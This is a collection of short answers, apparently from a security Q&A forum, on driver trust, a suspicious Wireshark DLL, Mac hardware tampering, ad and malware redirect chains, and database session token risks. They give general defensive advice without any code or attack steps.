Drivers for hardware devices in your system typically operate with a high degree of privilege. They need to, in order to interface with your hardware.

So the question is - how much do you trust the code you're running at a high privilege level? For that, you'd probably have to consider source of driver, whether it's signed by the issuer, can you inspect the source code etc.

Of course, just because you can inspect source code, doesn't mean you'll spot a problem. See also: Shellshock, Heartbleed.

There's a risk to running any code on your system, but usually a reputable vendor has positive incentive to ensure there aren't any particularly egregious vulnerabilities.

You may, however, find that there's also incentive to pretend weakpoints don't exist, or otherwise be lazy about releasing updates.


Could you hack a gas station's fuel dispenser?

The answer to any question of the type "Is it possible to hack X?" is yes. It might be hard. It might only be possible under certain limiting conditions (e.g. you might need physical access if it's not connected to a network). It might require very specific skills or information (e.g. knowledge of whatever software a fuel pump runs). But it is still possible.

That said, it's probably easier to just pay your bill.


WireShark tried to load a suspicious system.dll

Download the 32bit Portable Apps version of Wireshark directly from Wireshark.org not from some third party site where their system could have been compromised. Verify the signature with the hash files if you are not sure.

If that DLL is still being called when you execute the portable app, then the DLL was hooked by something within explorer and there is a very high chance that your system has been compromised.

You can always upload any suspicious files to VirusTotal and they will throw it at several different AV vendor products to see what they catch.

You should strongly consider moving systems that are used in production environments off of Windows XP.


How secure is a Mac if it passes Apple Diagnostics?

Apple Diagnostics is not designed for this purpose, and cannot prove your Mac is secure.
However, you should probably still assume you are safe from such a hardware-based attack.
It is important to note that Apple Diagnostics is a tool focused on testing hardware health, not focused on security assurance. So, we can assume that it isn't looking for things which it doesn't expect (within reason, I'm sure some aftermarket modifications that Apple dislikes would be found and flagged). Anybody with the resources for an attack like you describe — disassembling a MacBook Air, inserting a custom designed keylogger, and reassembling the machine — would have the resources to design it such that Apple Diagnostics wouldn't discover it.
But as the comment above by Stephen Touset points out, unless your threat model includes being targeted by some very well resourced attackers (clandestine services of nation states, elite private offensive security contractors, etc), whose attacks would include having undetected physical access to your computer, the risk of that kind of physical attack is insignificant. A MacBook Air is a particularly challenging target, as the interior of the machine is densely packed, difficult to access without leaving evidence, and generally just inaccessible.
Unless you have sincere, well-founded concern about the machine, hardware will not be the way you are attacked. Your risks are much more likely to be software-based attacks. And if you do have sincere, well-founded concern, then there's no way that a simple hardware diagnostics tool can ever prove the negative. In such a case, your only realistic option is to completely replace the unit with one that can't be linked to you (including being invoiced or delivered in your name or address, or being paid for by any method that can be connected to your identity or address).


Malware or viruses by browser redirects?

Existence if such redirects by itself does not mean malware in all cases, but it can be.

Very often you will find such redirects when ads gets served because ad-delivery is today usually a multi-step process with several parties involved. This is especially true with targeted ads and real-time ad-bidding networks. In such delivery chains each of the party needs to get some information about the referring party and about the original user to decide which ad to serve or which next part of the chain should take over. Because control from one party to the next party is handled through redirects these information will be encoded in the URL and that's why you'll see this long URL's with various encoded information.

The same kind of delivery chains are used with malware because here you also have the parties which provide the victims through ads or through hacked sites. And you have the parties which serve the well tested latest version of the exploit, sometimes as payed service (see also malware as a service). It is not always clear from looking at the chain if this is pure ad-delivery, pure malware-delivery or malware delivery triggered by ads (i.e. malvertisement).

While these are the main purposes for such redirect chains you will also find (usually shorter chains) for more pleasing use cases or for user tracking.


Vulnerabilities with DB backed session tokens

I'd say that for most cases it's generally considered that once an attacker has DBA level access to your system it's compromised, therefore mitigating this attack would more likely be done via policy/change management/activity monitoring etc.

If you think about the damage an angry DBA can do to a system, sniffing one users session token is likely quite far down the scale...